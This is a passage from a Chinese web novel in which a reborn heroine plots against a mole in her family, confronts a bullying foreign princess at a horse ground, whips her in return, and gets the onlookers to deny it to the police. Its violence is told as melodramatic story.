天知道他为了怕被人看出端倪有多么小心翼翼!一个消息转了四十个人才打听出来。 雷行清咳了一声,“少爷您只让我问清楚菊园为什么换人,也没说还要打听张茹的下落。” 沈归灵沉默了片刻,放下水壶,“行了,这里没你的事了。” 少爷不高兴了? 要不帮帮少爷! 雷行有些犹豫,正要松口,表情忽然凝重。 不行!这注定是一条无疾而终的背德之路,他不能助纣为虐害了少爷。 念此,雷行狠下心,决绝转身,“少爷,您早点休息。” 沈归灵沉默,等雷行退出房间,立马点开手机拨通了沈谦的电话。 电话很快接通。 “爸,我想问您借调一个人。” * 翌日。 天如碧瓦,晴空垂幕,整个马场仿佛笼罩在金色薄纱里的油彩画。 会所顶楼的玻璃房。 周宴珩坐在沙发上闭目养神,关鹤拄着拐杖,手里拿着望远镜趴在玻璃窗上四处张望。 “叩叩——” 这时,门外响起敲门声。 周宴珩刚抬眸,关鹤眼神突变,赶紧拄着拐杖跳上沙发。 “进……” 还没等他应口,电子锁自动开启,姜花衫推着轮椅慢慢溜了进来。 关鹤愣了愣,回头看了周宴珩一眼,见他眼里也满是意外,瞬间炸毛,“你怎么知道密码的?” 姜花衫努了努嘴,“猜的,很难吗?” 上一世她没少跟着周宴珩瞎混,别说一道门锁,她连周宴珩黑市小金库的银行密码都知道。 骗鬼吧!十六位数的开锁密码怎么猜? 关鹤如临大敌,抬起屁股慢慢往周宴珩身上凑,“你小心点,我就说她很邪乎。” 周宴珩若有所思打量姜花衫,跟踪他?调查他? 姜花衫推着轮椅步入主厅,目光环视了一圈,摘下头上的鸭舌帽,“废话不多说,不是说内鬼联系你们了吗?人呢?杀了没?” “……”关鹤嘴角抽了抽,“你当这是菜市场,杀个人跟宰鸡宰鸭一样简单?啊!不对!我他妈什么时候答应你要帮你杀人了?” 姜花衫皱眉,“打你那天就在这说好的,怎么?你们现在想出尔反尔?” 从她进来,周宴珩的目光就没有移开过,哪怕一点细小的表情,他都能敏锐察觉出姜花衫的心情变化。 单枪匹马,肆无忌惮,胆子还真不是一般的大。 周宴珩莫名觉得心情很好,笑了笑,“你也不问问那个人是谁?” 姜花衫斜眼看了过来,“不管是谁也不是你们说话不算话的理由?” “说的没错。”周宴珩站起身,绕过横厅坐在茶几上与她对视。 “那天你故意大闹马场,为的就是把这个人引过来,你一开始就想借刀杀人,所以……其实你早就猜到了这个人的身份?” 关鹤怔愣,站起身怒视汹汹,“阿珩说的是不是真的?” 姜花衫想了想,点头承认,“没错。” 在博弈阶段,她从不会轻视任何一位对手,所以她早就知道这点小把戏是不可能骗过周宴珩的。 跟周宴珩博弈,明晃晃的算计才是制胜关键。 “草!老子不信!除非你现在就说出那个那个内鬼的名字。” 与姜花衫相反,关鹤平等地看不起所有对手,尤其喜欢自欺欺人,因为他实在接受不了自己竟然是这里面最蠢的一个。 姜花衫,“沈执。” 这话一出,原本还蹦跳的关鹤瞬间安静,怔愣了片刻不知道该说什么,只能转头看向周宴珩。 周宴珩神色复杂,他之前只是猜测,但真正验证时还是有些意外。 连沈家老爷子都不知道自己身边有只蛀虫,足以说明沈执潜伏得有多成功,可姜花衫还是一眼就看破了,如此看来,她是早就知道内鬼是谁才策划的杀局。 姜花衫扯着嘴角笑了笑,“怎么都哑巴了?我说对了吗?” 周宴珩偏头,盯着她看了一会儿,抬腿勾住轮椅将她拖到跟前,“沈执可不好杀?” 话音一落,关鹤顺手从身后掏出一把手枪,“但你不一样。” 虽然只能二选一,但和谁合作的决定权不是还在他们手里吗? 君子报仇,十年不晚,他可不会任人宰割! “……”周宴珩眼皮跳了跳,转头看着关鹤。 姜花衫单手托腮,眨了眨眼睛,“听说你让你爸爸去沈家提亲了?你喜欢我?” 关鹤咧开的嘴角瞬间僵硬,“我喜欢你个毛啊!那他妈就是个误会!” 姜花衫惊讶,“连我的毛都喜欢!?所以,你一开始就打着主意想把我骗进关家杀?” “草!老子都说了!那是误会!” 姜花衫完全不听,“可是癞蛤蟆,你连娶我都做不到还想杀我?真当我吓大的?杀一个沈执,你顶多被你爸削一顿,杀我你试试?我能让你们关家在鲸港除名。” 关鹤,“……” 他妈谁是癞蛤蟆! “沈执替你保守秘密提的什么要求?你如果让他掺和你的生意,这辈子都别想再甩开他。” “但我不一样,你那点小钱我看不上,我只要沈执的命,银货两讫互不干涉。但凡有脑子的都知道怎么选,你拿枪指我,看来是没脑子。” “我……” 周宴珩抬手扣住扶手,“我们谈。” 姜花衫眼神微动,假装没听见准备继续炮轰。 周宴珩直接调转轮椅让她面向自己,“关鹤,出去。” …… 第470章 马场作死事件 关鹤脑袋都是炸的,被周宴珩一招呼立马缓过神。 草! 又被姜花衫耍了。 “……” 关鹤越想越气,但周宴珩连名带姓点名也不是开玩笑的,他也不敢顶风作案,狠狠瞪了姜花衫一眼拄着拐杖出了房间。 恰巧顾玉珠拿了一些茶点经过,“阿鹤哥,阿珩哥在里面吗?” 关鹤没好气关上门,“他现在没空。” 顾玉珠往门缝看了一眼,微微一怔,从她的视角只能看见周宴珩低头在跟谁说话,那人坐着轮椅,为了迁就她,周宴珩弯腰倾身简直像换了一个人。 关鹤回身,一脸不耐,“还站在这做什么?” “哦。”顾玉珠立马回身,小心跟在关鹤身后,“阿鹤哥,白蒂娜不知道怎么,突然跟傅文博走的很近,两人现在还一起在马场溜马。” “傅文博?”关鹤皱眉,摆摆手,“别管她,女人的嫉妒心作祟吧。” “可是……”顾玉珠欲言又止,“他们闹的很过分,还总是故意撞我们。” 关鹤烦躁地抓了抓头,“随她闹,这种疯子你越搭理她她越把自己当回事。” 周宴珩明显是要冷处理白蒂娜,这个时候出面只会让白蒂娜觉得自己很重要。 顾玉珠见关鹤一副甩手掌柜的态度,犹豫片刻转身下楼往马场跑去。 围栏外,苏韵、蓝黛翘首看着马场的情况,时不时又分心看向场外,见顾玉珠一个人回来立马围了上去。 蓝黛见她身后空无一人,愣了愣,“怎么样?没有人管吗?” 顾玉珠摇头,“阿珩哥这会儿在忙,阿鹤哥不听我说话就走了。” 苏韵早猜到是这样的结果,转头看向马场,“现在也只剩余笙了,希望她能坚持住。” 话音刚落。 白蒂娜突然加速,故意策马从贴着余笙的马绕骑,余笙看出她又要使坏,勒紧缰绳减缓速度往内道避让,即便她已经退让至此,白蒂娜还是不满意,故意甩鞭子抽向余笙坐下马儿的眼睛。 “嘶——” 马鸣嘶亢,前腿跪地以极其危险的姿势往前踹倒,余笙脸色大变,抱头被甩出了七八米远,受惊的黑马完全不受控制,撅起前蹄四处踩踏。 “阿笙!!!”与她交好的官家小姐们都吓傻了眼。 苏韵立马朝围栏边的驯马师大喊,“还不快点把马牵走,要是发生踩踏可不是开玩笑的。” 三个驯马师当即反应过来,起工具跳进马场。 余笙也知道此时的情况很危险,只能忍着骨裂的剧痛一点点往外围爬去。 “哈哈哈哈哈!”白蒂娜一脸得意踩着马鞍,居高临下看着余笙在眼皮子底下慢慢挪动,“你们看,她像不像一只臭蛆?!” 场外有人看不惯她这么嚣张,指着白蒂娜的鼻子怒骂,“白蒂娜,你卑鄙无耻!要不是你耍阴招,阿笙根本不会受伤。” S国的女生不乐意了,双手叉腰帮着回击,“跑圈的场地就这么大,撞上去不是很正常,有本事你们也撞啊?之前说好的,谁赢了今天的场地就归谁,你们该不会是输不起吧。” 蓝黛小心翼翼拉了拉顾玉珠的胳膊,“怎么办?这个白公主还是这么嚣张。” 之前在CHAO CLUB她就已经见识过白蒂娜有多不讲理了,原以为发生夜殴一事她多少会收敛一点,没想到现在还变本加厉连总统千金都不放在眼里。 顾玉珠皱了皱眉,抬头看向会所最高层的玻璃房子。 白蒂娜早注意到了顾玉珠的小动作,她闹这么大,不过就是闹给周宴珩看的,原以为顾玉珠会把周宴珩带下来,没想到他这么沉得住气。 也不知想到什么,白蒂娜眼里闪过暗芒,“傅文博,人呢?怎么还没到?” 傅文博吊儿郎当靠着围栏,头上还戴着墨镜,低头看了看时间,“马上就到了,说是刚刚下课。” 白蒂娜翻身下马,此时马场的医护人员已经抬来了担架,加上余笙在内,今天已经有五个女生受伤了。 余笙不想输的太难看,拒绝了担架,由着朋友们搀扶在旁边的长椅上休息。 “阿笙,你没事吗?” 余笙脸上都是冷汗,却还是勉强打起精神,“我没事,打电话给警署厅。” 其中一个女生会意,快步跑出了人群。 苏韵想了想,主动上前搭话,“你没事吧?还是先去医院吧?” 老牌圈的贵族小姐平时和新贵的官家小姐平时并没什么交集,但白蒂的实在太过分,无差别撞伤所有骑马的女生,这种行为已经引起了公愤。 余笙摇头,“今天我要是走了,那才是一辈子都抬不起头。” 白蒂娜S国公主,她A国总统千金,今天要是低了头,那将会是贻笑大方。 “哦!小玩具来了!” 忽然,S国的女生故意用蹩脚的A国话叫嚷。 苏韵等人愣了愣,循声看去,只见一个穿着育才校服的女生被人哄笑着推进了马场。 …… 第471章 被否定的周宴珩 玻璃房里的阳光正好,白色大理石地砖倒映着两道拉长的身影。 轮椅被固定,周宴珩搭着两侧的扶手,以环抱之势与姜花衫对峙。 “关鹤不是你的对手,你要想玩不如找我。”他低垂着眼睑,眼里带着几分趣味打量。 姜花衫几乎不可察地抬了抬眉梢。 瞧瞧,还是这么的不可一世。 这种男高女低的谈话方式很容易形成压迫,身处低位的人不自觉就会被牵着鼻子走。周宴珩喜欢训狗,所以深谙此道,只可惜他这次找错人了。 姜花衫单手托腮,慢悠悠伸出一根手指点着他的肩膀,“别太看得起自己了,你还不如关鹤好玩。” 周宴珩低头看着莹白的指尖,嘴角的玩味更甚,身体前倾想要压榨更多空间。 姜花衫扯着嘴角笑了笑,高抬着下巴,丝毫不惧用力点着他的肩膀。 “我每次耍关鹤,他不是气得哇哇大叫就是恨不得想掐死我,不说别的,就这么简单的情绪价值你都给不了,你有什么好玩的?” 情绪价值? 周宴珩愣了愣。 “这就没话说了?”姜花衫一脸无辜,翘起指尖,轻轻点了点他的肩膀,“下次别盲目自信了,我池塘里的鱼随便抓一条都可以秒杀你,你真的不够看。” “……” 周宴珩被气笑了,他之前就觉得姜花衫有意避着她,原以为是忌惮,搞了半天是看不上。 大少爷还没受过这种气,一时觉得新鲜,松开扶手,双手抱胸低眸审视眼前的女孩儿。 “跟我谈情绪价值的,你是第一个。” 姜花衫嘴角抽了抽,她一直知道周宴珩有大病,没想到病得这么严重。 她挑眉,学着油腻男点评女生的模样,“不然呢?女生不仅是视觉动物还是情绪怪物,你……长的一般,脾气一般,各方面都一般,还不会哄人,有什么好玩的?我就不一样了,人长得漂亮就算了,性格又好,学习也不错,喜欢我的人从这里排到了S国,我说这些就是为了让你知道我们之间的差距有多远,让你趁早死心,明白了吗?” 上一世,这狗东西就是这么对她的,一边哄着她又一边轻贱她,现在也该让他尝尝被人看不上了滋味。 周宴珩眉心跳了跳,虽然明知姜花衫是故意气他的,但还是不可避免地被气到了,主要这还是他第一次听到这么多一般。 “……” 周宴珩不语,低眸斜睨她,按理这个时候应该想办法让她闭嘴了,但偏偏姜花衫一本正经胡说八道的模样让他莫名喜欢,尤其夸自己时那不可一世的傲娇模样,简直有趣地想收藏。 这时,他脑子里忽然想起了关鹤那句提醒,这小疯子有些邪门。 可不是有些邪门? 有点克他。 姜花衫察觉到周宴珩神色不对,无辜眨了眨眼睛,“你怎么不说话?听不了真话?” 周宴珩偏头,不冷不热,“你这么看不上我,还想让我替你杀人?” 姜花衫愣了愣,“我没有……” 周宴珩皮笑肉不笑,“关鹤那个蠢东西也就只能给你提供点被耍的情绪价值,你想让他杀沈执?你觉得他的脑子杀得了吗?” “……” 见她不接话,周宴珩又继续说道,“你早就知道沈执有问题,但基于某种原因你不方便向你爷爷坦白,但你又害怕沈执会对你爷爷不利,所以你才那么决绝想除掉沈执。或许是怕不好跟你爷爷交代,所以你故意绕了这么一个圈子找到关鹤,但你的目标不是关鹤,你的目标是我。” 他好整以暇,勾着轮椅左右晃了晃,“我倒是很好奇,你怎么就这么笃定我会对沈家动手?” 果然,能当个中期反派的都不是简单人物,这狗东西都快被她打压成一摊饼了竟然还能这么冷静?! 姜花衫抬眸看了他一眼,“你都能对萧澜兰下手,沈执又算什么?” 周宴珩微愣,片刻后不在意笑了笑,“杀个人而已,的确不是什么大事,只不过你想利用我,连点甜头都不愿意给是不是太没有诚意了?” 姜花衫学着他的模样,双手抱胸,“你想要什么甜头?” 周宴珩,“你……” 没等他说完,姜花衫抬手打断,“我不行!我这么珍贵,别说一个沈执,就算一百个沈执都没门,我不喜欢你,你也不准喜欢我,更不准打我的主意,山鸡哪能配凤凰,没结果!不准!” “……”周宴珩沉默片刻,忍着脾气,“我们做个交易。” “不行!”姜花衫摇头,“不睡!不做!” “…………”哪那么多不?周宴珩咬牙,“我要你入、会。” “入会?”姜花衫满脑子都在提防周宴珩打她的主意,冷不丁听见两个陌生的词一时有些没反应过来。 周宴珩,“天字一号房间每过一段时间都会举办有趣的活动,入了会,以后大家就一起玩了。” 姜花衫皱眉,“多人运动?” 周宴珩眯眼,面无表情看着她。 姜花衫眨了眨眼,若无其事低头看指尖,不怪她一脑子黄色废料,主要周宴珩就是这人设。 周宴珩耐心售罄,站起身,“怎么样?” 姜花衫垂眸,周宴珩之所以要她入会无非就是想把她拉进自己的圈子,原本她也是想看看周宴珩这条支线跟沈家有什么关系,入会倒也是个契机。 沈家三傻不好对付,但如果要应付周宴珩,她有的是力气和手段。 念此,她故作勉为其难,“有言在先,我不做伤天害理违法乱纪的事。” 周宴珩,“杀沈执不是违法乱纪?” 姜花衫懒得费口舌,微微一笑,不理他,按动扶手的准备撤退。 周宴珩顺势勾住扶手又把她拉回来,语气随意,“你刚刚说你养鱼?都有些什么品种?” 姜花衫斜眼打量他,“你问这做什么?” 她鱼塘里现在就只有一条99鱼,还凶得要命。 周宴珩,“好奇,我都这么一般了,想看看不一般的鱼长什么样?” “那当然比你好看。”姜花衫顺口呛了一句,脑子不知怎么自动跳转到了那晚绣楼不宜的画面,一下把自己整尴尬了。 她摸了摸脖子故作无事看向窗外。 周宴珩眸光瞬间阴沉,“他是谁?” 原本他只是随便一提,但姜花衫的反应却像真有那么回事。 姜花衫假装没听见,扭着脖子四处张望,忽然,目光定住,清澈滟潋的桃花眼渐渐蒙上了一层阴翳。 …… 第472章 愚蠢的公主殿下 “救命!救命啊!放我下来!!!” 姜晚意被捆绑着双手跟在白马身后,一开始白马跑得很慢,她勉强能跟上脚步,但随着体力消耗,白马的速度越来越快最后只能被拖行。 白蒂娜戴着墨镜,把玩着马鞭,“赫拉,你慢点,可别把小玩具拖坏了。” 围观的女生看不下去,指着她怒斥,“白蒂娜,这里是A国,你要玩变态游戏滚回你的S国去。” 白蒂娜皱眉,对着说话的女生反手就是一鞭子,“这个小玩具明码标价,我给了钱想怎么玩就怎么玩?哪有你说话的份?!” 傅文博看得正来劲,跟着起哄,“说的没错,要价还不低,我又不是冤大头可不得玩尽兴。” 姜晚意的裙摆被成了碎布,要不是出门前换了打底裤此刻早就已经羞于见人了,她哭着求饶,但没有人理会她,世界天旋地转,她却好像掉进了深渊爬都爬不出来。 余笙此时的脸色也不好看,不顾腰伤起身与白蒂娜对峙,“你现在的行为已经构成了人格侮辱,属于恶意霸凌,如果再不停手把事情闹大,到时候丢脸的是你们S国。” “说的没错。”苏韵冷冷看向傅文博,“这个女生穿着育才的校服,她还那么小,你怎么下得了手?” 傅文博脸色不愉,但苏家他得罪不起,犹豫片刻看向白蒂娜,“要不换个玩法。” 白蒂娜往玻璃房看了一眼,戏谑道,“一个一个的都说我欺负她,那行吧,换个玩法。这里是马场,来这都是骑马的,赫拉,你教小玩具骑骑马。” 赫拉勒紧缰绳翻身下马,略有深意看了姜晚意一眼,随机朝另外两个女生使了个眼色,两人一左一右扶起姜晚意。 姜晚意此时如同惊弓之鸟,一脸无措看着白蒂娜。 赫拉拽着她的胳膊,示意她上马。 姜晚意因为害怕浑身抖得厉害,“我不会骑,求求你们,让我回家吧。” 白蒂娜,“你这么会勾引人怎么不会骑马呢?是不是嫌钱不够,没关系,我可以加价的。” 苏韵顿时感觉到了一股无名之火,回头看向马场的保安,“你们是死人吗?” 神仙打架,小鬼难为,保安们也是头大,进退两难不知该如何是好? 谁不知道这位白公主是周家少爷的入幕之宾,整个马场都是周少爷的,上面不发话他们也不敢贸然行动。 余笙回头看向身边的女生,“警署厅的人怎么说?” “他们说马上过来。” 余笙点头,压低声音,“保留好素材。” 白蒂娜冷笑,她十四岁就敢杀人,A国这些在温室教养的蠢东西哪能跟她比,来之前她早就让保镖守在门口,今天谁都别想坏她的好事。她是S国的王储公主,在A国玩个贱民,就算被罚也顶多挨顿骂,她们能拿她怎么样? 这个小贱人当着她的面就敢勾搭周宴珩,她就当着周宴珩的面作践她,她就是要让所有人知道,跟她白蒂娜作对的下场是什么?! “你们还愣着做什么?”她不耐催促。 赫拉当即抽了姜晚意一鞭,“上去。” 姜晚意颤巍巍抱着马的脖子,整个人蜷缩在马背上。 蓝黛一脸紧张看着顾玉珠,“她不会骑马,要是从马背上摔下来就糟了。” 顾玉珠犹豫片刻,拿出手机拍了张照片转手发给了沈清予,顺便附上了登利马场的定位。 围观的女生们也意识到了危险,推开栅栏想上前阻止,但S国的女生更彪悍,直接围成人墙把她们堵了回去。 姜晚意摇头,一脸祈求看着眼前的恶魔,“求求你,放我下来吧。” 白蒂娜笑了笑,转身从保镖口袋里拿出一张支票砸在她的脸上,“这笔钱,足够买你这条贱命了,去死吧~” 赫拉故作好心提醒,“坐好了。” 正要扬鞭,对面围栏两个黑衣壮汉一脚踹开,周宴珩推着轮椅慢慢走进了马场,但瞩目的不是他,而是坐在轮椅上矮人一等的少女,她沐浴在金色的艳阳里,比光还漂亮。 白蒂娜戏谑的嘴角瞬间僵硬,她怎么都没想到,自己闹了一天,最后竟然等到周宴珩推着别的女人出来。 姜晚意怔愣,泪水模糊了她的视线,但她还是一眼就看出来轮椅上的人。 她大哭,“姐姐,救我!!!” 这一声姐姐把所有人都叫懵了,姜晚意离开鲸港五年鲜少露面,以致于在场众人一时没对上号。 余笙和苏韵的脸色顿时微妙起来,蓝黛看了看顾玉珠,满脸不可思议。 白蒂娜看了周宴珩一眼,提着鞭子走上前,“我们要遛马,你们挡道了。” 姜花衫充耳不闻,偏头看向傅文博,“你事先知道她是谁吗?” 傅文博顿时心悬了一下,眼神飘忽起来。 他当然知道,就是因为知道才故意作践姜晚意的,当初姜花衫算计傅潇潇,害得她被沈家报复颜面尽失,作为哥哥自然咽不下这口气。既然姜花衫害了他的妹妹,那他就玩死她的妹妹。 姜花衫了然,“看来是知道,这么说的确是冲着我来的。” 傅文博不语,冷着脸,“我不知道你在说什么?” 白蒂娜不满忽视被自己,拿着鞭子点着姜花衫,“这个马场的使用权已经被我包下来了,你要想玩就跟我比试一场,赢了就把人还给你。不过,你一个残废会骑马吗?” “……”她笑了笑,不甚在意抓住眼前鞭子,“这里是A国……” 话落,直接抬腿,对着白蒂娜的下腹一脚狠狠踹了上去。 “规矩我说的算,愚蠢的公主殿下。” …… 第473章 抽她!扇他! 白蒂娜飞出去时,现场众人目瞪口呆,完全反应不过来,直到傲慢的白公主重摔在地,精致的发丝沾上草屑大家才如梦初醒。 瞬间,整个跑马场上哗然四起。 傅文博脸色惊变,两股颤栗看着轮椅上的少女,刚刚她出脚踹了S国的王储了?! 白蒂娜捂着肚子,撕裂般的剧痛让她一时没有力气起身,直到要命的灼烧感稍稍缓解下来才突然醒悟,她竟然被一个残废踹飞了! “贱人!你知道我是谁吗?!” 白蒂娜从未受过这种屈辱,气得当场失去理智,拿起地上的鞭子对着姜花衫扑了上去。 姜花衫翻了个白眼,按下轮椅上的加速按钮,连人带车直接对撞。 “……” 周宴珩愣了愣,还没反应过来,轮椅直接开启狂暴模式,以每小时25公里的速度直线行驶。 “砰——” 一声巨响,白蒂娜再次给撞飞。 众人:“…………” 她刚刚是不是出了两只脚??? “噗——” 白蒂娜脸朝地啃了一嘴的青草,爬起身眼眶猩红瞪着姜花衫,“死残废!我要杀了你!” 姜花衫站起身跳下轮椅,双手抱胸俯视她,“你说谁残废?” 白蒂娜愣了愣,这才知道自己被耍了,戾气横生,腾地一下跳起。 “我……” 姜花衫果断出脚,回身一记横扫再次把人踹翻。 如果说前面两脚或多或少耍了点心思,那这一脚就是硬帅。 “咳咳!”白蒂娜呆滞,不敢相信自己竟然会被人摁着打,心态全面崩盘,拉拽着草地声嘶力竭怒吼,“贱人!我一定要杀了你!我要杀了你。” 姜花衫默不作声,捡起掉落的马鞭,反手对着白蒂娜一鞭抽了过去。 “啪——” 这一声鞭响犹如严冬后的第一声春雷,强势复苏万物。 众人的身体几乎不受控制地跟着抖了抖。 疯了!她竟然拿鞭子抽S国王储候选人?还打这么重! “噼——里——啪——啦——碰——!” 还没等众人缓过神,一连五鞭无缝连接! “…………” “啊啊啊啊!” 白蒂娜嘶声尖叫,第一鞭的时候她难以置信,等到后面五鞭密密麻麻落下来的时候,她懵了,直接抱头鼠窜。 “救命!该死!你们这群蠢货还愣着做什么,还不杀了她?!” “还敢调皮?” 姜花衫挑了挑眉,拿着鞭子一边追赶一边抽,这个过程没有一鞭花架子,鞭鞭到肉。 白蒂娜被打的原地跳舞,后来实在撑不住只能抱头在原地挣扎。 太凶残! 简直就是疯子。 “公主!” S国的女生彻底慌了,赶紧推开栅栏救人。 姜花衫也不惯着她们,反手对着乌泱泱的一群人三百六十度啪啪乱抽,但只要谁敢过界救人,她立马丢下白蒂娜,追着那一个人打。 自己的命也是命啊,赫拉在被抽了四鞭后再不敢贸然上前,转身想找鞭子,却离奇地发现,现场所有马鞭都不翼而飞了。 A国的女生们假装忙碌看天。 “……” 再这么打下去公主就废,公主出事她们所有人都会被追责,赫拉咬牙,“大家一起上,她就一个人,别怕她。” 话还没说完,A国的女生突然冲出围栏,以其人之道还治其围起了人墙。 “你们……”赫拉气急败坏,回头看向周宴珩,“周少爷,你说句话啊!!再这么打下去公主就没命了!” 周宴珩抬眸扫了一眼拿鞭子的少女,面无表情往后退了一步。 “你们……”赫拉绝望看着被打到瘫软的白蒂娜,转身跑出马场,手忙脚乱拿出手机拨通了白密的电话。 而此时,白密正忙着谋划下一场绑架案,看了一眼来电显示,语调恹恹,“嗯?” “殿下,这些A国人企图谋杀公主,您快来救救公主吧!” 白密皱眉,扣了扣耳朵,“谋杀你应该报警啊,找我做什么?” “可……” 没等她说完,电话就挂了。 这可怎么办? 对了!报警!警署厅的人就在门外! 万念俱灰之下,赫拉忽然灵光一闪,毫不犹豫朝大门外跑去。 关鹤被马场的吵闹声惊动,拄着拐杖出门看热闹。 “呀,好好的怎么打起来了?我看看?” 女生相互推搡围在一起,人群里还时不时发出噼里啪啦的声音,他不明所以,兴致勃勃跟着起哄。 周宴珩看了他一眼,没有接话,由着他拄着拐杖往人群里冲。 忽然,关鹤四只脚同时顿住,嘴角抽搐,毫不犹豫转身就跑。 我草! 姜花衫疯了?当众抽打白蒂娜! 那甩鞭子的节奏比冬天化纤毛衣的静电还密集。 傅文博也傻了?原以为搭上S国公主,就算整死姜晚意都没人管,没想到姜花衫直接发疯把白蒂娜打得动弹不得。 这么下去,迟早轮到他,傅文博咽了咽口水,趁人不注意打算偷溜。 姜花衫打累了,吁吁喘着气,拿起手里的马鞭对着傅文博砸了过去,“我让你走了?” 傅文博后脑勺挨了一记,脸色难看,“姜花衫,整你妹妹的是她不是我,你找错人了!” 姜花衫冷笑,指着旁边的保镖,“把这孬货给我拖进来。” 保镖们吓得头皮发麻,目光一致看向周宴珩。 姜花衫皱眉,凶巴巴,“看什么看?!快点!我入会了!我现在是会员,这点权利都没有?” 周宴珩,“……” 刚刚是谁说不做伤天害理、违法乱纪的事? 保镖见周宴珩没阻止,立马架住傅文博把他拖进了马场。 “姜花衫,你想干什么? 姜花衫用手扇风,朝姜晚意勾了勾手指,“你,过来。” 姜晚意眼一裂,抖如筛糠,她从未真正见识过姜花衫的手段,不知道原来她狠起来这么凶残,眼看着白蒂娜趴在地上有气进没气出,姜晚意不敢迟疑,蹭地一下跑上前。 “姐……姐姐。” “别叫我。”姜花衫皱眉,有些嫌弃指着傅文博,“扇他。” …… 第474章 群体作案 “!” 傅文博愣了愣,当即气得怒不可遏狠狠瞪着姜晚意,“你敢?” 姜晚意惶恐缩了缩肩膀,无助看向姜花衫,“姐姐,我……我不敢。” 她无权无势,方眉也不管她的死活,要真动了傅家公子,只怕明天就会被人扔进鲸港码头。 “不敢?”姜花衫也不勉强,点头,“好,既然你没这个胆子,那你们就继续玩骑马的游戏吧。” 说完,转身要走。 “不要!”姜晚意一把拽住姜花衫的胳膊,要是姜花衫走了,她现在就会死。 几乎没有犹豫,姜晚意抬手扇了傅文博一记响亮的耳光。 这一巴掌直接把傅文博打懵了,哪怕是姜花衫打他都认了,但这下贱胚子是什么东西?! 傅文博顿时恼羞成怒,如同一只发狂的野兽,“贱人,老子一定要弄死你!” 姜花衫摆摆手,“好吵,堵住他的嘴。” 保镖们有些问难,“姜小姐,没工具。” 姜花衫,“那就卸了他的下巴,要是还不听话,就扭断他的脖子。” “……”保镖一脸无语,怎么比少爷还癫?! 傅文博也被姜花衫的狠劲吓住了,忽然想起什么,转头看向周宴珩,“阿珩哥,都是一个圈子的,给个面子?” 关鹤皱眉,“什么一个圈子,侮辱谁?你们老傅家都掉到什么梯队了心里没点逼数吗?” 周宴珩甚至都没有看傅文博,笑着和姜花衫说话。 “我可没说会员能差遣我的保镖。” 姜花衫假装没有听见。 周宴扯了扯嘴角,朝保镖使了个眼色,保镖会意,手起刀落直接卸了傅文博的下巴。 姜花衫满意了,轻轻拍了拍姜晚意的肩膀,“扇。打到他跪地求饶为止。” 姜晚意唯唯诺诺上前,闭着眼睛左右开弓,她虽然怕傅文博,但更怕姜花衫。 “啪——啪——啪——” 鞭子声没了,现在又改换耳光声,这一顿操作下来把在场所有人都看沉默了。 A国女生们相互看了看,默契地没有吱声,虽然她们都不喜欢姜花衫独占鳌头盛气凌人,但不得不说,她出手教训白蒂娜的手段真是解气。 关鹤捂着脸,表情复杂,“不是!她做事是真不考虑后果吗?” 周宴珩眉头微蹙,若有所思,这么足的底气,到底是谁给她的? “在那!警署长,你看!她们还在行凶!” 赫拉一声叫嚷,成功吸引了所有人的注意。 蔡署长带着十几个警员赶到了现场,目光环顾了一圈,挤出一个比哭还难看的笑脸。 周家少爷、沈家小姐、总统千金,地上还趴着个异国公主,随便拎一个都是能让他乌纱不保的祖宗。 “这是在做什么?赶紧分开。” 未免落人口舌,他只能先假装淡定维持秩序。 警察来了! 姜晚意从未见过这么大的阵仗,吓的腿脚发软,怎么办?她会不会被抓起来蹲监狱啊? 姜花衫老神在在,转身走到轮椅前坐下。 “殿下!”赫拉故作姿态冲上前搀扶白蒂娜,见她浑身上下布满了鞭痕,又气又怒指着姜花衫。 “警署长,就是她!是她用马鞭把我们公主打成这样的!你快把她抓起来。” 蔡署长嘴角抽了抽,例行公事询问姜花衫,“姜小姐,是你把白公主打伤的吗?” 姜花衫摇头,“没有,不是我。” “胡扯!!” “无耻!!!” S国的女生们集体破防,群起愤怒指着姜花衫,“就是她打我们公主的!她撒谎!” “安静!”蔡署长冷声呵斥,随即清咳了一声,“姜小姐,真的不是你吗?” 姜花衫一脸无辜,“蔡署长,这些S国人最喜欢颠倒黑白了,你怎么能相信她们说的话呢?不然,你问问在场其他人?” 蔡署长呵呵笑了笑,转头看向A国的贵女们。 余笙扶着腰从人群里走了出来,进退有度,“蔡署长,我们一直在这,并没有看见姜花衫打人。” “是啊,我们没看见。” A国的女生们清一色的无辜面孔,这一举动彻底激怒了对面S国女生。 赫拉完全没想到打成这样还能抵赖,气得跳脚,直接用母语大骂,“你们国家的人都是撒谎精。” 蔡署长顿时变脸,神情凝重,“慎言,这里是A国,由不得你们胡乱栽赃。” “你……” 赫拉气到失语,正不知该如何是好,白蒂娜突然有了反应,死死拽着她的胳膊,“找大使馆,让……让他们通知祖母。” 说到S国女王,众人顿时变了脸色,先前大家之所以对白蒂娜一再忍让,正是怕影响两国的国际关系。 白蒂娜缓缓抬头,泛红的眼珠一动不动看着姜花衫。 姜花衫努了努嘴,极其挑衅地朝她笑了笑。 * 马场斗殴事件性质恶劣,除了白蒂娜因伤情严重转去了鲸和就医外,所有人都被请进了警署厅接受调查。 由于涉案人员较多,蔡署长把A国和S国的女生们分别安排在两个接待室。 少爷小姐们还是第一次因为犯事进警署厅,既新鲜又有些紧张。 关鹤夹着拐杖,莫名其妙看着周宴珩,“不是!我们为什么也要跟来?” 他们一没打人二没做伪证,瞎凑什么热闹?! 周宴珩,“我的保镖是帮凶。” “……”关鹤生无可恋,这他么是理由吗?你保镖杀人也没见你来串过门。 姜晚意神情无措挨着姜花衫,“姐姐,怎么办啊?万一白女王发怒,我们会不会有事啊?” 姜花衫拍了拍肩膀,“别跟我说话。” 姜晚意有些委屈,但又不敢顶嘴,小声道,“姐姐,之前的事都是我的错,我求求你,千万别不管我。” 姜花衫充耳不闻,靠着轮椅玩手机。 关鹤见她还坐在龙椅不挪腚,一时没忍住,上前搭话,“姜花衫,你把人打成这样就不带怕的?” 姜花衫,“有什么好怕的,我是会员,出什么事自然有会长顶着,是不是啊,会长?!” 周宴珩挑眉,难怪扇傅文博的时候还特意带上他的保镖,敢情是踩屎的时候就想着他? 他笑了笑,也不带怕的,“好说,多大的事。” 关鹤嘶了一声,“白蒂娜都快残废了这事还不大?你们等着瞧吧,蔡严可不敢查,上面肯定有人来。” 姜花衫,“急什么?有会长罩着,谁来了都不怕。” “叩叩——” 正说着,突然响起叩门声。 蔡严点头哈腰,“给大家介绍一下,这三位是上面派下来的特情调查员,专门负责调查此次马场斗殴事件,希望大家多多配合。” 姜花衫,“……” …… 第475章 祸水东引 “天!是沈家人。” 人群里突然爆发出不少的骚动。 